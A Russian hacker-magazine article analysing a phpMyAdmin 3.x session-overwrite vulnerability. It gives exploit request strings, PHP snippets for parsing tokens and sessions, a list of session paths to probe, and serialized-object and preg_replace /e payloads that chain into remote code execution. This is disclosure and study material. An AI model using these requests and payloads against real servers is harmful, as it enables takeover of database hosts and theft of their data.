Седьмого июля текущего года все продвинутое IT-сообщество всполошилось в связи с появлением известия о том, что все последние версии дефолтного MySQL-менеджера phpMyAdmin уязвимы к некой детской атаке, связанной с неконтролируемой глобализацией переменных. Предлагаю тебе вместе со мной окунуться в увлекательное исследование анатомии данной уязвимости.

 

Предыстория

Я надеюсь, что тебе не надо объяснять, что такое phpMyAdmin и с чем его едят, поэтому перейдем сразу к его хладному трупу :). Седьмого июля некий буржуйский багокопатель под ником Mango обнаружил следующее интересное место в коде движка:

./libraries/auth/swekey/swekey.auth.lib.php

if (strstr($_SERVER[‘QUERY_STRING’],’session_to_unset’) != false)
{
parse_str($_SERVER[‘QUERY_STRING’]);
session_write_close();
session_id($session_to_unset);
session_start();
$_SESSION = array();
session_write_close();
session_destroy();
exit;
}

Ты спросишь, что в этом коде такого интересного? Обрати внимание на функцию parse_str(). В предыдущих выпусках журнала ты уже мог неоднократно прочитать о том, что при определенных условиях из-за данной функции может возникнуть баг с так называемой неконтролируемой глобализацией переменных. В данном случае такими условиями являются:

  1. Отсутствие второго параметра в функции parse_str();
  2. Полный контроль удаленного пользователя над переменной $_SERVER[‘QUERY_STRING’] (это то, что идет в ссылке после знака «?»).

В первые несколько дней после обнаружения уязвимости никто не мог или не хотел вникать в ее суть (в том числе и я). Данная ситуация была крайне забавной, так как автор даже указал возможный вектор применения бага: перезапись глобального массива $_SESSION, эффект от которой сохранится даже после перезагрузки страницы.

В своем оригинальном сообщении Mango пишет, что при просмотре указанного выше подозрительного кода может создаться впечатление, будто перезаписанная сессия уничтожится. Но это не так. В данном случае функция session_write_close() сохранит нашу перезаписанную сессию, а затем session_id() запустит новую сессию, не имеющую ровным счетом ничего общего с нашей. Из-за такого переключения сессий баг очень сложно было бы обнаружить с помощью обычного браузера, так как session_start() пошлет нам новые куки и попросит забыть о модифицированной сессии.

Пример инжекта произвольных переменных в сессию выглядит так:

http://pma/?session_to_unset=123&token=[ТОКЕН]&_SESSION[foo]=bar

Так как переменные сессии принимают участие во множестве мест движка, теоретически может возникнуть куча XSS и SQL-дырок. Однако мы сфокусируемся на нескольких наиболее серьезных векторах.

 

Первый вектор атаки

Для понимания первого вектора атаки мы должны пройтись по исходному коду нескольких файлов. Сначала давай заглянем в код класса для автоматической генерации конфига ./setup/lib/ConfigGenerator.class.php:

public static function getConfi gFile()
{
...
$c = $cf->getConfi g();
...
$ret = '<?php ' . $crlf
...
if ($cf->getServerCount() > 0) {
...
foreach ($c['Servers'] as $id => $server) {
$ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf . '$i++;' . $crlf;
...

Теперь нам нужно разобраться в этой каше. Первым делом обрати внимание на то, что данный код генерирует PHP-листинг с конфигом для phpMyAdmin. Здесь можно заметить, что ключ массива $c[‘Servers’] (переменная $id) не фильтруется. Таким образом, если мы сможем переименовать этот ключ в массиве, то сможем закрыть комментарий и проинжектить произвольный код. Далее смотрим на функцию getConfig(), с помощью которой и получается нужный нам массив $c:

./libraries/confi g/Confi gFile.class.php

public function getConfi g()
{
$c = $_SESSION[$this->id];

return $c;
}

Бинго! Переменная $c полностью зависит от массива $_SESSION, который, как ты уже понял, находится под нашим контролем! Теперь мы легко сможем инжектнуть произвольный PHP-код, который будет сохранен в файл ./config/config.inc.php.

В данном способе эксплуатации нет никаких ограничений (вроде авторизации или обязательного отключения magic_quotes_gpc). Омрачает ситуацию лишь один факт — папка ./config не является дефолтной для движка, так что попасть в точку ты сможешь лишь один раз из ста.

 

Второй вектор атаки

Второй способ уже не зависит от наличия папки ./config на сервере. Зато появляются две другие зависимости: magic_quotes_gpc = On и наличие логина и пароля к любой из баз данных текущего mysql-сервера.

Начинаем потрошение исходников:

./server_synchronize.php


$trg_db = $_SESSION[‘trg_db’];

$uncommon_tables = $_SESSION[‘uncommon_tables’];

PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, $uncommon_tables, $uncommon_table_structure_diff[$s], $uncommon_tables_fi elds, false);

Смотрим на функцию PMA_createTargetTables:

./libraries/server_synchronize.lib.php

function PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, &$uncommon_tables, $table_index, &$uncommon_tables_fi elds, $display)
{

$Create_Table_Query = preg_replace(‘/’. PMA_backquote($uncommon_tables[$table_index]) .’/’, PMA_backquote($trg_db) . ‘.’ .PMA_backquote($uncommon_tables[$table_index]), $Create_Query, $limit = 1);

Если ты внимательно следил за руками, то должен был заметить, что переменные $uncommon_tables[$table_index] и $trg_db переходят в функцию preg_replace() прямиком из массива $_SESSION. Так как я более чем уверен, что ты наслышан об одном из самых распространенных багов в PHP-движках — выполнении произвольного кода в preg_replace() с модификатором «e» (eval), перейдем сразу к делу. В данном случае мы можем проинжектить модификатор «e» в первый параметр уязвимой функции с помощью банального нуллбайта примерно так: (.+)/e%00. Все, что идет после нуллбайта, сразу же отпадет, и компилятор не будет ругаться на неправильно построенную регулярку :). Дабы не засорять страницы журнала килобайтами кода, демонстрирующего работоспособность этого и предыдущего способов эксплуатации нашего бага, я заботливо положил на наш диск соответствующие эксплоиты, с которыми и советую тебе ознакомиться.

Кстати, известный Suhosin patch от Стефана Эссера успешно закрывает багу с нуллбайтом и модификатором «e», так что здесь мы получаем еще одно суровое ограничение.

 

Тепличные эксплоиты

Теперь небольшое лирическое отступление. Уязвимость с перезаписью глобальных переменных сама по себе не является чем-то фатальным. Здесь нужно найти какой-либо вектор эксплуатации с любой из перезаписанных переменных. Это может не всегда получиться. В данном случае Mango нашел сразу два таких вектора, но эксплоиты по их мотивам получились крайне тепличными, необходимость авторизации и наличия недефолтной директории для успешного использования бага не давали нам ничего на практике.

Как ты уже понял, такая ситуация крайне меня не устраивала, поэтому после появления первых PoC я решил провести самостоятельное расследование. Здесь как нельзя кстати под руку подвернулся классный прошлогодний баг Стефана Эссера под названием «PHP Session Serializer Session Data Injection Vulnerability», который очень хорошо согласовывался с уязвимостью в unserialize() и «волшебных методах» PHP (ссылки на соответствующие статьи из прошлых номеров нашего журнала ищи в сносках).

 

Уязвимость в сессиях

Итак, остановимся немного подробней на вышеобозначенной уязвимости. По дефолту PHP-десериализатор сессий знает два специальных символа: PS_DELIMITER и PS_UNDEF_MARKER. Первый юзается для разделения сохраненных в сессии переменных, а второй маркирует неопределенные переменные и представляет собой обычный восклицательный знак. Заглянем в исходники PHP:

while (p < endptr) {
zval **tmp;
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) goto break_outer_loop;
}
if (p[0] == PS_UNDEF_MARKER) {
p++;
has_value = 0;
} else {
has_value = 1;
}

Проблема этого кода заключается в том, что сериализатор сессии корректно обрабатывает только символ PS_DELIMITER и забивает большой болт на PS_UNDEF_MARKER.

В результате своего исследования Стефан Эссер нашел способ внедрения произвольных данных (если быть точнее: строк, чисел, массивов и объектов) в сессию с помощью ключа массива $_SESSION, начинающегося с символа PS_UNDEF_MARKER. Примеры уязвимого к данной атаке кода выглядят так:

<?php
session_start();
$_SESSION[$_POST['prefi x'] . 'bla'] = $_POST['data'];
?>

и

<?php
session_start();
$_SESSION = array_merge($_SESSION, $_POST);
?>

Эксплуатация здесь выглядит крайне тривиально: посылаем POST-запрос prefi x=! и data=|xxx|O:10:»evilObject»:0:{}.

В результате получаем инжект сериализованного объекта прямиком в сессии. Не забывай, что данное внедрение аналогично внедрению в функцию unserialize().

 

Вспоминая молодость

Если ты внимательно следишь за нашим журналом, то должен помнить, что в тех же статьях про «волшебные методы» я описывал классный способ эксплуатации бага с десериализацией во второй ветке phpMyAdmin. Тогда авторы поступили не совсем логично. Сама уязвимая функция unserialize(), конечно же, была убрана из исходников движка, зато полезный нам код в функции __wakeup() остался во всей третьей ветке совершенно нетронутым.

Теперь осталось только вспомнить механизм действия старого эксплоита, применить новые фишки и запилить новый убойный эксплоит. Итак, старый код для эксплуатации выглядел примерно следующим образом:

http://site.com/phpMyAdmin/scripts/setup.php? action=lay_navigation&eoltype=unix&token=[ТОКЕН]& configuration=a:1:{i:0;O:10:"PMA_Confi g":1: {s:6:"source";s:[ДЛИНА_ПУТИ]:"[ПУТЬ_К_FTP_С_ИНЖЕКТОМ]";}}

Здесь мы получали классический RFI-баг, омрачавшийся лишь проверкой на локальность с помощью мерзопакостной функции file_exists(), которая, впрочем, легко обходилась с помощью указания файла на любом доступном FTP-сервере.

Не буду глубоко вдаваться в подробности (советую прямо сейчас прочитать соответствующие статьи по ссылкам в сносках), а скажу лишь, что со временем ребята с rdot.org нашли способ работы данного сплоита без FTP с помощью инжекта прямо в файл сессии. Таким образом, наш unserialize()-эксплоит становился универсальным для всех версий phpMyAdmin < 3.

 

Links

 

Новая жизнь старых багов

Намотав на ус вышеописанную информацию, ты, наверное, уже понял, что теперь мы приступим к написанию универсального эксплоита для phpMyAdmin всей третьей ветки :). Сначала нам нужно узнать токен, с помощью которого движок проверяет валидность запросов (только с помощью валидного токена мы сможем сохранить в сессию произвольные данные). Делается это достаточно просто:

1. Заходим на главную phpMyadmin;

2. Парсим токен из HTML-исходника страницы, например, так:

preg_match( '@name="token" value="([a-f0-9]{32})"@is',$page,$to);
$token = $to[1];

3. Таким же образом и с той же главной страницы парсим кукисы с идентификатором текущей сессии:

preg_match( '@phpMyAdmin=([a-z0-9]{32,40});?@is',$page,$se);
$session = $se[1];

4. Теперь пытаемся узнать текущий путь к папке с сессиями для успешного инклуда. Делается это с помощью простейшего цикла while и списка наиболее популярных мест в системе:

$sess_path = array(
'/tmp/',
'/var/tmp/',
'/var/lib/php/',
'/var/lib/php4/',
'/var/lib/php5/',
'/var/lib/php/session/',
'/var/lib/php4/session/',
'/var/lib/php5/session/',
...

Сам запрос для проверки на корректный инклуд в цикле выглядит примерно так:

$inj = $sess_path[$o].'sess_'.$session;
$query = $pma.'?session_to_unset=123&token='. $token.'&_SESSION[!bla]='.urlencode( '|xxx|a:1:{i:0;O:10:"PMA_Confi g":1:{s:6:"source";s:'. strlen($inj).':"'.$inj.'";}}');

Здесь: $sess_path[$o] — это каждый путь из массива $sess_path по порядку, $session — полученный выше идентификатор сессии, $pma — путь к движку, $token — полученный выше токен. Запрос $query следует посылать два раза: в первый раз происходит сам инжект, а во второй — проверка корректности пути к сессии. Если путь правильный, произойдет успешный инклуд, и мы увидим на экране содержимое файла сессии. Отследить инклуд можно по ключевому слову «PMA_Config». После успешного инклуда ты можешь спокойно внедрять свой PHP-код. Внедрение можно произвести с помощью все того же бага с переопределением глобальных переменных:

&_SESSION[payload]=<?php phpinfo(); ?>

Наша переменная payload попадает в файл сессии, после чего мы вполне сможем выполнить код при помощи описываемого RFI. Готовый эксплоит с сессиями ты также сможешь найти на нашем диске. Здесь хочу заметить, что, хотя данный способ и является более универсальным, чем способы Mango, он тоже несколько ограничен: magic_quotes_gpc = off и PHP <= 5.2.13 & PHP <= 5.3.2. Данные ограничения все же ничто по сравнению с необходимостью наличия нестандартной открытой на запись папки на сервере.

 

Злоключение

Как видишь, любой когда-либо обнаруженный баг может еще вернуться и нанести свой удар по известнейшим программным продуктам. Особенно доставляет в данной ситуации тот факт, что наконец-то нашлось практическое применение для бага с сессиями Стефана Эссера (пока что в паблике не было ни одного PoC по теме). Тебе же я могу посоветовать никогда не смотреть на крутость и известность движка, а просто брать и потрошить его :).

 

Warning

Ни автор, ни редакция не несут никакой ответственности за любой возможный вред, причиненный материалами данной статьи.

Оставить мнение

Check Also

Сетевое оборудование компании DrayTek находится под атакой

Тайваньский производитель сетевого оборудования DrayTek предупредил о том, что злоумышленн…